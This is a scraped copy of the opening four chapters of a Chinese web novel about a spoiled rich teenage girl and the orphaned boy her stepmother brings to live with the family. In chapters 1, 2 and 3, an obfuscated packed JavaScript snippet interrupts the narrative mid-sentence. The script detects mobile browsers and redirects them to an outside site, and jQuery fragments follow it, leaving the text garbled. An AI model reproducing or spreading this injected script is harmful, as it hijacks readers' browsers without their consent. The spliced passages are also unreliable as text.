《阿格里巴和公主大盗》 1. 第 1 章 赵星茴小时候爱穿公主裙,娇气、爱哭又调皮。 当然也是可爱无敌,嘴甜又机灵。全家人喊她小公主,宠她宠得不行。 没想进了青春期,不知道哪里出了差错,养成了她娇纵任性、蛮横无理的性格,常把家里人气得头疼。 她的战绩显赫,包括但不限于气走五六七八位家政阿姨和家庭教师、三天两头被学校请家长喝茶、把长辈气进医院……以及大大小小无数让人头疼的日常事件。 大家依然喊她小公主,某些时候也称她大小姐——赵家虽然做生意有钱,也不至于到豪门巨富的地步,这么形容她,也许有那么一点“公主病”的意思。 十四岁那年暑假,赵星茴“噗通”一声跳进了青春期的后半阶段,溅起的水花把身边人砸了个津湿。 当时她刚结束暑期的海外游学,又去新加坡定居的母亲那度了个长假,回国时已经摆脱了初中生的稚气,换了鬼马少女的发型,穿鲜艳紧窄的吊带和拖地的破洞裤,晃晃悠悠带着一箱摇滚唱片回了家。 那天赵坤则和褚文兰在外出差,没赶得及回家,迎接赵星茴的除了家里的司机阿姨、她养的宠物猫、昂贵的归家礼物,还有个凭空出现的陌生人。 活的,男的,同龄人。 这人一张青涩分明的脸,单薄得跟石缝里拔节的青竹一样碍眼,穿洗得发白的廉价T恤,松垮变形的领口露出瘦弱肩骨,站在别墅华丽精致的水晶灯下,漆黑的眼睛望向她,只能让人联想到“格格不入”和“非法入侵”这种字眼。 等赵星茴搞明白这件事,站上了比他更高的台阶,居高临下拗起下巴,她那时候已经结束了变声期,少女音色细润,因愤怒而尖刻的嗓音吐出的第一个高分贝词是“滚”。 “让他滚!!!!!!” 人的确滚了。 那名入侵者颊线绷抿得冷清,肩骨棱棱,睫毛低耷,垂手握成拳,一声不吭地走出了家门,留给身后人一个倔强背影。 黑漆漆的晚上,他闷头往自己家的方向走了十几公里,司机追在后头,跟了几个小时也没把他劝住。 最后还是赵坤则和褚文兰赶回来救火,在半路拦住人,赔礼道歉,好说歹说把这孩子弄了回去。 回到家,家里已经被赵星茴闹得满地狼藉,赵坤则又摆出生意场上对付难缠客户的那套,花了好些工夫,磨破嘴皮子喊了几百句茴茴小公主,声情并茂,晓之以情,动之以理,外加糖衣炮弹的攻击以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726280|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决家事经典方法“和稀泥”,终于让赵星茴停住了那个“滚”字。 但这事没完,谁也别想有好日子过。 整个二楼都是赵星茴的私人领域,此后唯有家政阿姨与猫允许进入,甭管她一人霸占三个卧室两个洗手间,坐拥一整个塞满名牌品的大衣帽间,新来的入侵者只能住一楼客房,永远也别想上楼和她平起平坐。 别墅客厅挑空至顶,配备全屋音响,每天早上二楼房间准时炸开躁动的电子音,赵星茴在狂乱的鼓点中玩跳舞毯,长腿乱蹦,任谁说话也不搭理,再好的隔音也禁不住少女的热血折腾,一会音乐一会游戏一会运动,闹得人神经衰弱,脾气浮躁。 她目中无人,下巴一抬就要给人苦头吃,有时候横挑鼻子竖挑眼,一不顺心就要闹脾气,把家里搞得鸡飞狗跳,年纪小小,无师自通,很快学会了阴阳怪气和言语带刺。 赵坤则常被她气得头疼,一边揉着额头叹气,一边想着领回来的少年,不禁仰头长叹,都是一样的年龄,怎么别人家的孩子乖巧懂事,他这女儿就这么刁蛮霸道。 不过说—— 人生的际遇不可捉摸,而改变潜移默化,谁也没有料到,成长路上的微小偏差,结果深远难料。 2. 第 2 章 楼下某班来了个转校生。 初三教学楼呈扁“回”字型,中间是个小花坛,两个班楼上楼下,隔空对望,所有课业活动毫无交集,私下也无班级互动。 开学不过两月,还是有人发现了华点。 课间休息,大家喜欢绕着走廊打闹追逐、趴着栏杆聊天说话,女孩子们眼尖一瞅——楼下走廊,有个男生走过。 这人个子高高,身形清薄,灼白的阳光在脸上一晃,衬得他眉眼乌黑,五官干净,偶尔跟班上同学在走廊说话,长睫低敛,隔着距离都觉得他笑容腼腆,神情柔和,是清风皎月的少年气质。 简单两字概括:惹眼。 比花坛的月季花更旺盛的是八卦求知欲,很快有人把这位转校生的底细摸了个透。 方歆大方分享情报:“闻楝。邻市人,刚转学到咱们学校,兴趣爱好……” 几个女生都兴致勃勃地听着,唯有赵星茴置身事外,把手中的漫画书抖得哗哗响。 “名字也好听。” “咱们年级好看的男生也不少,但他风格不一样,看着就觉得心情好。” “穿衣品味也好。简简单单干干净净,logo都很低调,挺有教养的。” “我那天早上迟到,在楼梯口撞到他,他还侧身让我先走,虽然没说话,但他看着我,睫毛闪了一下,哎,当时那下感觉特别好。等我冲进教室才想起来,连句对不起都忘记跟人说了,错失了搭话机会。” 有人扫兴,一声冷嗤。 “他们班女生对他评价很好,礼貌随和,有事从不推脱,还主动帮忙。” “开学前,咱们班长不是在群里说我们班也要来个转学生嘛,还是个男生。怎么后来人没来?楼下倒是多了个帅哥。” “可能人家班级运气好?” “……” 赵星茴听不下去,把漫画书往桌里一塞,拽出书包,收拾东西要走。 她哐哐当当一顿动作,旁侧女孩们的聊天兴致被打搅,默声瞟来两眼——赵星茴本人就是我行我素,脾气骄矜,从不随众。 方歆探头:“哎,星茴。你等等我,咱俩一起走。” 赵星茴走得快,头发飞甩。 方歆紧赶着挎住她胳膊,“你怎么回事?一句话都不说。” “哪有。” “怎么没有,你刚才坐在旁边,眉毛都要撇上天了,脸还那么臭。” “谁让你们那么无聊,成天吃饱了没事干讨论这些。”赵星茴不咸不淡哼声。 方歆啧了声:“聊聊八卦而已,你干嘛这么扫兴,今天又没人惹你。” 赵星茴不搭腔。 方歆扭头打量她:“你最近老是一副很不爽的样子,跟谁吵架了?” “没。”赵星茴表情猛地一收,“我挺好。” “好吧。”方歆耸耸肩膀,“你最近下课溜得贼快,我还以为你有什么事呢。对了,你之前不是跟我说买了个跳舞毯,去你家玩会?顺便看看爆爆,好久没见爆爆,想她了。” 赵星茴脚步一顿,想都没想:“不行!” “为什么?!” “我今天去画室,司机打电话了。先走了,拜拜。” 方歆瞪眼:“嗳,你跑那么快干嘛……” . 尚文中学是洛江市数一数二的私立学校,分设初中部和高中部,好处是学校教学质量和环境都很受家长追捧,不好的地方是离家有段距离,所以家里安排了司机早晚接送。 有钱人家的家庭司机也有讲究,一般都是家里女主人经手,要么知根知底要么沾亲带故,现在这一位就是褚文兰的远房亲戚。 眼瞅着赵星茴稳稳坐进了后座,司机迟迟没发动车子。 “小茴。我们等等……” 司机话还没说出口,就被赵星茴截住。 “他们班下午有体育课,还没结束。”赵星茴撒谎从不眨眼,语气笃定,“再说了,人家又不是不认路,丢不了。赶紧走吧,我今天要去画室。” “那行,我先送你。” 俩孩子早上可以一块送去学校,只是不在一个班,每个班放学时段的兴趣课都不一样,这个月里十趟有九趟司机只接到赵星茴。 但自己回家也不是不行,学校附近就有公交站点,坐一个小时的公交车也能到家。 赵星茴在外面画室报了个油画课。 也不是非要着学点什么,纯属为了晃荡,打发课余时间。 她心不在焉地上完课,附近小店逛逛,早秋的天色很快黯淡下来,回到家,正好赶上晚饭时间。 玄关的鞋架,偏角落的地方摆着双新款的运动鞋——压根不用操心,人已经坐公交到家了。 赵星茴又看了一眼。 开学伊始,褚文兰为家里两个孩子添置新衣物,大袋小袋买了不少,这款运动鞋也买了两双,不同尺码不同颜色。一双就在摆在眼前,另一双已经不知道被赵星茴扔到哪个角落。 赵星茴长得漂亮,但不妨碍她笑得恶劣,捏着嚼了半天的口香糖,用力摁在鞋架,而后推开了家门。 厨房敞着条细缝,阿姨还在忙碌,灶上的靓汤煲得咕噜咕噜响,外头餐桌上已经摆好了餐具,香气喧闹,屋子安静。 她换了毛绒绒的兔子拖鞋,吧嗒吧嗒往楼上去,下一秒,在门口鞋架恶作剧的快乐消失得无影无踪—— 通往二楼的楼梯上,一只浑身雪白的狮子猫四仰八叉地瘫着,露出肚皮,眯着鸳鸯眼,喉咙发出咕噜咕噜的震声。 一只手灵巧又讨好地挠着它的下巴。 “爆爆!!!” 赵星茴揪起细眉,脚步哒哒,嗓音凶脆,“你这只蠢猫!!谁让你下楼的?给我滚过来。” 狮子猫听见主人的呼唤,迅速又慌张地翻了个身,毛绒绒的尾巴扫开身边人的手,步伐颠颠地朝着赵星茴奔去,喵呜声亲热又谄媚。 屈膝蹲在楼梯口的少年收回手,回头,正撞上她的目光。 少女皮肤皎洁,脸蛋鲜妍,一双好看的桃叶形眼睛。看人的时候眼变得圆溜,站到他面前,惯性地抬高了下巴,眼线拉长,气质变得狡黠,浓密睫毛掩着清澈的眸,傲慢又挑剔地睨着他。 她冷哼一声,伸手捞起腿边的猫,把它刚被人梳理得柔顺的毛发揉得凌乱无比。 闻楝起身,离她不远不近的距离,明明个子比她高,却越不过她审视的眼神,也没开口说话,只是朝她礼貌地点了点头,以示招呼,而后迈步回房间。 “喂——” “你给我站住。” 她唇红齿白,贝齿尖尖,“我警告你。以后绝对不许碰我的东西,包括我的猫。” “它刚才钻进楼梯栏杆缝里玩,不小心卡住脑袋,一直在叫唤,我怕它受伤,抱下来陪她玩了会。”少年嗓音带点变声期的沙哑,但不粗嘎,清朗柔和。 赵星茴搂着猫,暗捏它软绵绵的肚子,冷声道,“二楼是我的地方,你不许上来。” “还有,在学校你离我远一点,不许跟我说话,别跟人说你认识我。听见没有?” 他目光放得温顺,平静说:“听见了。” 赵星茴头发一甩,冷飕飕地抱着猫上楼,等赵坤则和褚文兰回家,又用这副冷飕飕的态度下楼,坐在了餐桌旁。 一家人难得坐在一起吃顿饭。 赵坤则做油品生意起家,十几年也熬成了根老油条,现在手里好几家公司,生意越做越大,成天忙着出差应酬,在家时间太少。 褚文兰也忙,帮着他打理公司的业务。最早的时候她是赵坤则的员工,从小格子间开始创业,到后来天南海北跟着他跑客户,再一步步走到现在,两人也算是风雨兼程、同甘共苦。 至于这公事里搀着私事,从小职员变成老板娘,也是一两句话说不清楚。 一张大理石餐桌划出两端。 一家四口,赵星茴挨着赵坤则坐,褚文兰和闻楝坐在对面。 在公司跟客户掰扯了一天,回到家,褚文兰身上还有股热腾腾的贤惠,先忙着盛汤倒酒,再捏着公筷给大家挟菜。 最先当然是照顾赵星茴:“小茴,今天阿姨做的都是你喜欢的菜,多吃点。吃得好,咱们小公主越长越漂亮。” 又打趣闻楝:“阿楝也是,正是长身体的时候,你身上太瘦,等星茴吃完,这桌子菜你都包圆了,不吃完不许下桌。” 最后给赵坤则挟菜,笑吟吟道:“今天赵总谈生意累了。我特意托朋友买的野生大黄鱼,给赵总补补,养家糊口辛苦了。” 赵坤则跟她感情甚好,招呼她赶紧坐:“你也忙了一天,别张罗来张罗去,吃吧。” 饭桌上聊些家常话题,多数时候是褚文兰开口,亲戚朋友家的人情往来,一家四口的生活起居,学校最近发生的事情。 赵星茴心不在焉吃东西,并不搭腔。 她在家的态度就是不主动,不拒绝,不参与。 早年褚文兰还是赵坤则的秘书,那时赵星茴放学在赵坤则办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726281|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写作业,褚文兰还辅导她功课,两人一边复习一边叽里呱啦聊天,后来她跟赵坤则结婚,赵星茴长大,两人却好似结了仇。 不知道其他人如何,但褚文兰对这个继女也算是掏心掏肺,尽心尽责。 但赵星茴显然不领情。 同住一个屋檐下,做得再好,到底不是亲母女,人心隔肚皮捂不暖,但凡褚文兰说几个重字,赵星茴就拽着赵坤则告状,还跟亲戚长辈添油加醋胡诌。 后妈难为,褚文兰知难而退,但安排赵星茴的衣食住行,照顾她方方面面,丁点失职的地方也挑不出来。 餐桌距离近,闻楝吃东西安静斯文,说话也是有问有答,这时候能看出他和褚文兰更熟,喊的是“兰姨”,态度也更亲近。 闻楝是褚文兰接过来的。 . 褚文兰是邻市人,大学毕业后才来洛江市工作定居。 她年初回老家探亲,家里人闲话聊天,无意提起以前的老邻居——是一对和蔼恩爱的老夫妻,前几年因病相继过世了。 当年两家同住一个家属院,是门对门的邻居,关系处得融洽,平时照应往来都多,邻居家有个女儿,比褚文兰大几岁,小时候常领着褚文兰一块上学玩耍,晚上两人睡一张床,相处得跟亲姐妹差不多。 这个邻居姐姐生得漂亮,性格也温柔,师范毕业后工作结婚,早早生子,工作家庭幸福美满,没想老天不长眼,周末夫妻俩开车带儿子出门,在路上跟辆渣土车相撞。 这场意外带走了年轻的父母,留下了后座年幼的儿子。 这个小男孩褚文兰也见过。满月时邻居老夫妻送来一筐红鸡蛋和喜饼,褚文兰还去探望了邻居姐姐,抱着小婴儿玩了会。 只是后来褚文兰异地工作,褚家也搬离了家属院,两家逐渐少了联系,再后来就听说这个噩耗,因为女儿女婿英年早逝,老夫妻也相继病倒,离开人世。 如今往事重提,褚文兰欷歔了许久,又因自己生活富足顺遂,想起那个小男孩,动了念头去看看他。 父母去世后,孩子的抚养权给了大伯一家,如今也有七八年,不知道这孩子如今长成了什么样儿。 算起来,应该也是个半大的少年。 等看见了闻楝。 阴雨天气的校园一角,十三四岁的少年,穿洗得发白的校服和帆布鞋,安静拘谨地站在她面前,眉眼间依稀有邻居姐姐的模样,肩膀棱角平直,却单薄地支棱着,沉闷书卷气里有掩不住的晦涩。 褚文兰跟他介绍自己,他腼腆笑着喊她“文兰阿姨”,说知道——家庭相册里有一张老照片,是妈妈和褚文兰抱着满月的他照的,相片背面写着日期和人名,他记住了。 褚文兰本打算带他去吃饭,看他穿得不太像样,心里想着买几件衣服、再塞点钱给闻楝,或者去他家里看看,没想闻楝摇摇头,去小卖部给褚文兰买了瓶水,婉拒了她的好意,只说很感激兰姨来看他。 后来褚文兰略一打听就知道。闻楝跟大伯一家住在父母留给他的房子里,起初日子还好,后来闻家大伯单位下岗,还要养几个孩子,经济捉襟见肘,大伯家的堂哥娶妻生子,屋子不够住,把他的房间都挤占了,有时候借口上学方便,也让他去姑姑家住一阵。姑姑家又觉得大哥一家光占便宜不出力,计较起来,亲戚间没少为这事吵得面红耳赤。这几年,闻楝像踢皮球一样生活在几个家庭中,各家自顾不暇,更谈不上好好照顾孩子。 褚文兰气不过,心想这些个抠搜亲戚,养个孩子能花多少钱。又想着都是同龄人,家里赵星茴闹得让人头疼,这个孩子却懂事得让人心疼。再念及闻楝妈妈的旧情,想把闻楝带走。 这事提前跟赵坤则商量过。 一来是褚文兰动了恻隐之心,不可能坐视不管。 二来,凭赵家的资产,多养一个孩子完全不是问题,而且生意人最信福报,赵坤则每年捐给庙里的香油钱就不少,善心结善果,怎么看也算是一桩好事。 再说了,平时他们都忙着工作,家里基本是司机保姆照顾。闻楝生日比星茴早一点,成绩优秀,懂事又有礼貌,性格也招人喜欢,有个同龄人作伴,星茴能学点好,也能少些孤单。 赵坤则听褚文兰一说,不用多言,当时就点了头。 不过两人都忘记提前跟赵星茴说一声,也许压根就预料到她的反应。 褚文兰开保时捷,衣着光鲜,出手阔绰——闻家亲戚巴不得有人接手,半点没商量地帮闻楝做好决定,干干脆脆把他送出了门。 3. 第 3 章 一楼客房在楼梯拐角,窗户临着私家花园,每天早上,花园的鸟儿和二楼露台的猫咪总要抑扬顿挫地吵一架。 闻楝洗漱完走出房间,别墅静悄悄,燕姐正在准备早餐,看他早早起床,问他要不要先吃点。 闻楝摇头:“谢谢燕姨,我待会和大家一起吃。” 有些事情从小做惯,他现在也习惯搭把手,帮燕姐煮参茶、榨果汁,再顺手给餐桌上的花瓶换换水。 燕姐总叫他放着,笑道:“待会太太看见了可不好。” “以前在家也常做这些。”闻楝动作熟练自然,低垂眉眼柔和,“举手之劳而已。” 燕姐从褚文兰那知道他的故事来历,毕竟不是养尊处优长大的孩子,这点小事也随他,并不过分阻拦。 有参照才有对比,有对比才有优劣。 赵星茴娇生惯养,十指不沾阳春水,闻楝勤快心细,即便家里有阿姨,他也尽量自己动手,绝不给人添麻烦。 燕姐也在褚文兰面前夸闻楝,说这孩子如何如何懂事省心,自己房间永远干净整齐,从来不需要整理,说话也好听,待谁都礼貌客气,看见他心里都觉得舒坦,好多活儿不知不觉就被他顺手做了,拦都拦不住,劝又说不过。 再小小声补一句,哎哟,跟小茴比啊……这孩子真不错,太太您心善眼光好,以后肯定有福气。 短短时日,闻楝轻而易举俘获了家里每个成年人的好感。 褚文兰心里高兴,叮嘱燕姐:“阿楝虽然懂事,你们也多照顾他点,别让他受委屈,星茴有的他也要有,他爱吃什么你看着买,家里有什么事及时跟我说。” “这是当然,太太您放心。” 有褚文兰的叮嘱,即便只是寄住在赵家,闻楝丁点也不受冷落,燕姐跟他同住一楼,平时相处最多,对他态度也热络。 早上时间过得快,距早餐时间还够闻楝复习功课外加背一页英语单词,某个时刻,天花板突然震起动感十足的音乐,继而懒洋洋的拖鞋声吧嗒吧嗒响起。 赵星茴捏着牙刷,满嘴牙膏沫地把和鸟儿对骂的爆爆拎下来,先训两声猫,再扔几粒玉米喂鸟,最后“哐”地阖上窗户。 同一时间,三楼的褚文兰和赵坤则被家里的音乐吵醒,褚文兰揉着太阳穴问丈夫什么时候能劝女儿关掉那鬼哭狼嚎的音响,她有个偏头痛的毛病,真受不了这个。 在外混得如鱼得水的赵总也禁不住揉眉叹气。 甭提赵星茴和褚文兰不亲,他这个亲爹凑上前去更没有好脸色,明明小时候挺可爱的小棉袄,不知道是哪里长歪还是青春期综合征太强烈,现在比那带刺的刺猬还难料理。 一家人相继下楼,闻楝已经坐在餐厅,跟赵坤则和褚文兰道早安,三个人吃着早餐,聊几句闲话,最后才见赵星茴拎着花里胡哨的书包,慢吞吞地下楼。 就看她那哈欠乱飞、骨头散架的模样,那衣服裙子发型,都能惹起赵坤则额头的一道皱纹。 赵坤则近来也恶补了一点青春期知识,这年龄的孩子逆反心理最重,最忌唠唠叨叨耳提面命。 准点,司机送两个孩子去学校。 闻楝坐副驾,赵星茴占据后座,楚河汉界永远醒目——这个学期过了一半,两人的接触还仅限于一日三餐的交汇和学校路上的共处,下车各自散去,在学校素不相识。 也不是没有遇见过,有时候学校活动,便利店门口或者学校食堂,迎面走来或者擦肩而过,女孩子们总要窃窃私语或者多瞟两眼,唯有赵星茴目不斜视,要么傲慢得不屑一顾。 方歆才不管她,知道她在男生堆里受欢迎但又对男的毫无兴趣,只顾拽着其他同学:“哎哎哎,你们知道不知道,这个月学校广播新闻社的采访对象是他哎。” “……” “群众的眼睛是雪亮的,我就说他肯定受欢迎。” 作为一个半途转入的插班生,让闻楝在年级出名的不是走廊上的八卦,而是期中考试,他的名字刷新了楼下光荣榜的排名,再往后的秋季运动会,他打篮球的身影被抓拍,照片登陆学校月刊和公众号。 家里虽然没有过分关注孩子的在校表现,但也不至于漠不关心。 褚文兰平常多夸赵星茴漂亮可爱聪明,批评的话一句没有,也不怎么夸闻楝,一般叮嘱他多吃点、放着让阿姨做、别太累着。 学校的两份成绩单寄到家里,褚文兰看两眼后转给赵坤则,再不出声插手。 赵星茴的成绩很契合她的风格,必然不会太好,但也不至于糟糕得太丢脸。 闻楝的在校表现倒是毫无疑问的优秀,标准的德智体全面发展好学生。 赵坤则一声清咳:“小茴要好好加油,多跟阿楝学习。早上音乐嘛,换成英语听力就不错,都初三了,该上的补习班也得上,上次家教来了一个月就走了,不行再换个,多找几个也行。” 赵星茴轻飘飘说没空。 学校初中部可以直升本校高中,中考压力并不大,但也有考核线,要是考不上,赵星茴也不在乎,专注玩手机游戏:“你今年赚的也不少,多花点钱不就行了。” “你就不能努力点,自己考?” “有钱为什么要自己考?”她理直气壮。 赵坤则脸上闪过忍气吞声的微表情,也摁着脾气不说什么,转向闻楝:“阿楝不错,成绩这么好,以后肯定有出息。” “谢谢叔叔和兰姨的照顾。”闻楝声音轻。 “要不……小茴,阿楝,你俩放学一起做做作业,有学习氛围嘛。阿楝你带带小茴,她有什么不懂的地方也可以教教她。” 闻楝当然说好。 赵星茴压根没抬头,玩着手机,语气脆脆:“他不配。” “小茴,怎么说话的。” 赵星茴停手,脑袋一歪,冲着闻楝露出个大大笑脸:“哪里来的穷酸土包子,装什么呀?他有什么资格教我?” 微妙又敏感的自尊心迅速膨胀,迫使闻楝薄唇紧抿,表情却克制着礼貌和空白的冷淡。 赵坤则蹙眉:“星茴!你又胡说八道什么,有没有点教养。谁教你的这臭脾气?” “上梁不正下梁歪呗。”赵星茴翻了个白眼,“你挂完客户电话不也骂骂咧咧说客户穷酸傻X土包子,我一比一跟你学的啊,自己没教养还指望女儿怎么样,鸡窝里能飞出金凤凰吗?” “赵星茴!!”赵坤则瞬间破防,勃然怒吼,“你整天嘴里有没有句好话?天天就知道不务正业,有没有好好念过书,能不能懂点事?你给我上楼去,自己呆着好好反省!” “哦。”赵星茴施施然上楼。 “不许玩,不许发出声音,自己用脑子认真想想,你这样做对不对。” “吃东西总行了吧。”她不耐烦。 “饿着!!” “那我报警,举报你虐童。”她嗓音凶脆,“你饿死我好了。” 十四岁的赵星茴施展无差别攻击魔法,伤亡遍地。 幸福的家庭都是相似的,不幸的家庭各有各的不幸,饶是赵坤则持有中年男人清心寡欲三件套——手串、枸杞降火茶、开过光的弥勒佛,也没办法控制养孩子的心梗。 褚文兰端来几盅燕窝,安抚赵坤则:“有事好好说,别冲孩子发脾气。” 又叮嘱燕姐送餐点去二楼,别让人挨饿。 “早知道她这样,我当初就该让她跟着她妈出国。”赵坤则气得肝疼,“让她妈去管她,我管不了。” 好端端的周末被一张成绩单搅坏,家里气压一整个下坠,赵坤则拎高尔夫球袋出门,眼不见为净,赵星茴在房间关禁闭,只剩褚文兰和闻楝坐在客厅喝燕窝。 褚文兰再拍拍闻楝的肩膀,柔声安慰他:“你看你赵叔叔也气得够呛,星茴就是任性了点,她说什么都别放在心上。” “兰姨,我没事。” 闻楝并不想呆在洛江市,此前褚文兰苦口婆心劝他许多回。 “你安安心心住着,就把这儿当成自己家,我和你赵叔叔都很喜欢你,一直盼着你来。” “以前我和你妈妈感情很好,她经常照顾我,如今换我照顾你也是应该。” “再说了,转学手续都办好了,也是很好的学校,你赵叔叔托熟人都安排妥了,你只管安心念书就是。” “你赵叔叔有个宝贝女儿,捧在手心里怕摔了,含在嘴里怕化了,宠得无法无天,我也管不了,常被她气得头疼,这家里没有一个人能受得了她,连阿姨都被她气走好几个,学校老师也常打电话到家。她不管说什么做什么,你离她远一点就行了,要是有事就找我……” “星茴脾气就这样,她那个嚣张跋扈的性子,对谁都是那个态度,你别把她的话放心上,说什么都不用搭理,过几天她就消停。” “……” 十四岁的少年,还没有掌控自己生活的能力。 闻楝只能沉默,继而抿唇:“谢谢兰姨。” 他安静时稍显冷清疏离,但此刻唇线微翘,是个很浅、还带着感激的笑容。 这个动作牵动他的脸颊,右靥泛起一个酒窝,使得少年的神色腼腆而柔和,成为极具迷惑性的柔软笑意。 “你笑起来跟你妈妈很像。” 时隔多年,褚文兰仍能想起闻楝妈妈的模样,惋惜道,“我记得你妈妈有一对酒窝,笑起来甜滋滋的,你也遗传了一个。” 闻楝抬手拂了下脸颊,他没说。 其实不是酒窝。 是当年车祸,崩碎的玻璃飞溅划破的伤口,后来疤痕淡去,留下了一个浅浅凹陷,无论是说话、微笑还是动怒时都会浮出脸颊,使他神情永远温顺柔软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726282|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . 说是闭门思过,赵星茴一点都没有闲着。 连续几个外卖摁响门铃,都是赵星茴点的炸鸡薯条奶茶零食。 傍晚闻楝路过花园,无意抬头——二楼露台,少女嘴里咬着棒棒糖,姿势慵懒地抱着雪白的狮子猫坐在窗台看晚霞,潋滟的霞光和橙红的夕阳照着她的面颊,晚风拂过鸦黑发丝,活泼恰如她从猫咪嘴里抢出一根牛肉条,一人一猫扭着手闹腾起来。 察觉他的视线,她下巴迅速昂起,目光又变得挑衅。 闻楝平静走过,把手上的外卖袋扔进了垃圾桶。 第二天早上上学,赵星茴已经坐在车里等,闻楝一反常态,弯腰在门口鞋架磨蹭,再晚五分钟路上就要堵车,司机看他迟迟不出来,摁着喇叭“滴”一声提醒。 闻楝临时换了一双鞋,手上沾着洗手液的清香——指尖还残留口香糖的黏感。 车子驶出小区,路上已经汇聚起车流,赵星茴抬手看腕表,嘴里还含着点东西,语气闲闲淡淡又阴阳怪气:“今天道路施工,肯定大堵车,学校开始‘文明周’考核,还有领导视察,什么时候迟到不好,真会挑日子。” 副驾少年沉默片刻,语气有种任凭搓扁揉圆的好脾气:“抱歉。” 她不搭理人,好整以暇地坐在后座,把黏在齿关的口香糖抵在舌尖,“啪”地吹出个理直气壮又光明正大的泡泡。 校门口有交通管制,车子停在附近路口,赵星茴脚步轻盈,闪得连个人影都不见。 上课铃声早已敲响,校园路上学生稀少,等闻楝再看见赵星茴,她不知道从哪个角落倏然闪现,拎着书包叮叮当当冲上楼,而闻楝理所当然地被巡查的教导主任逮在了一楼大厅。 初三毕业班的气氛不算紧张,但学校的校风校纪一惯抓得紧,特别是今天这种有学校公开活动的日子,绝对严禁迟到早退违反校规。 闻楝跟教导主任承认错误,喜领学生生涯第一次处罚——检讨书一封,打扫小花坛卫生一周。 他看着楼上某班走廊闪过的纤细身影,甩起的马尾怎么看怎么狡猾。 那几天放学,有不少女生眼瞅着楼下小花坛,人来人往,闻楝的清秀面孔惹人注目,挽起袖子,露出白皙清瘦的手臂,半蹲着拾起地上的落叶。 赵星茴心情难免飞扬。 一来花坛强制劳动画面的确赏心悦目,二来闻楝跟司机说好,以后自己搭公交回家,再不用等他。 她高高兴兴的,连油画课也不上,连着跟方歆约了好几天,逛街看电影抓娃娃。 “今天去我家找爆爆玩吧?” 方歆嗯哼:“你家终于对我解禁啦?” “可不是,你偷着乐吧。”赵星茴翘起精致下巴,眸光流转,“走不走?” “走走走,我都多久没看见爆爆了。” 两人一路唧唧呱呱,到家搂着爆爆好一顿揉搓,连开几个罐罐喂它。 爆爆是她俩一起在路边垃圾桶里掏出来的,脏得跟块抹布一样,眼睛还有层蓝蒙蒙的胎膜,虚弱地趴在地上到处找吃的,方歆家里不让养宠物,于是赵星茴把小猫抱回了家,给它取名叫爆爆。后来因为褚文兰猫毛过敏和爆爆到处捣乱,赵星茴索性把它关在二楼,不许它乱跑。 “你别给它吃,它都胖成什么样了。” “它冲我撒娇呢。”方歆心软,“翻着肚皮给我摸,不给它吃良心不安。” “你可别上当,这家伙谄媚得要死,家里来个人就想蹭,要不是我拦着,都要钻人怀里了。”赵星茴嫌弃,“一点眼力劲都没有。” “你家还有谁能让它蹭?不都不待见它么?” 赵星茴把嘴闭上,鼻尖皱起:“没谁。” 方歆在赵家待到傍晚,家里打电话让她回去,方歆从别墅区后门拐出小区,过两条马路就能到自己小区,没走多远,眼前的公交站台有公交缓缓停住,尚未黑透的夜幕,亮起的路灯照着下车的男孩,身上穿着尚文中学的校服。 方歆眼睛猛然一亮,蹦到他面前打招呼:“闻楝同学?” 紧接着是好巧好巧的认识会,原来你也住在这里?哦,我叫方歆,就在你楼上班级。你认识赵星茴吗?你和星茴住一个小区耶? 闻楝好性格好脾气,面孔温良无害,温和颔首:“方歆同学,你好。” 其他问题避重就轻:“请问你知不知道这附近哪里有超市?我想买点东西。” “这片我挺熟。” 方歆领着他往商业区走,闻楝不管是说话还是微笑都有股生动的柔和,方歆话多,两人的话题从超市地址说到学校,顺理成章就能扯一大通。 等到两人分开,方歆还意犹未尽地想闻楝人真的很不错,再想刚才忘记问他是不是住在旁边的别墅区,最后还没来得及问他到底认不认识赵星茴。 4. 第 4 章 方歆和赵星茴从初一开始同班。 两人南辕北辙的性格,八竿子打不着的关系,唯一的交集是方歆以前最爱吐槽赵星茴。 私立学校有钱学生不少,她永远穿得比谁都招摇,仗着脸好看,班上一半男生都围着她转,人也娇气,拎垃圾桶的架势比拎地雷还别扭。 后来有一次,方歆在洗手间被校霸女生欺负,一旁的赵星茴挡在她面前,“唰”地挥出爪子怼上那名骂骂咧咧的女生的脸,两人唇枪舌剑吵起来,中间夹着个茫然无措的方歆。 事后方歆磕磕巴巴问赵星茴为什么要给她出头。 赵星茴懒洋洋地哦了声,漂亮的眼睛瞟着蓝天,说不是为她,主要是心情不好,想找个人出气,谁让那女的撞到她枪口上。 语气很真——赵星茴说什么都是那种毫不掩饰的傲娇语气。 方歆很无语。 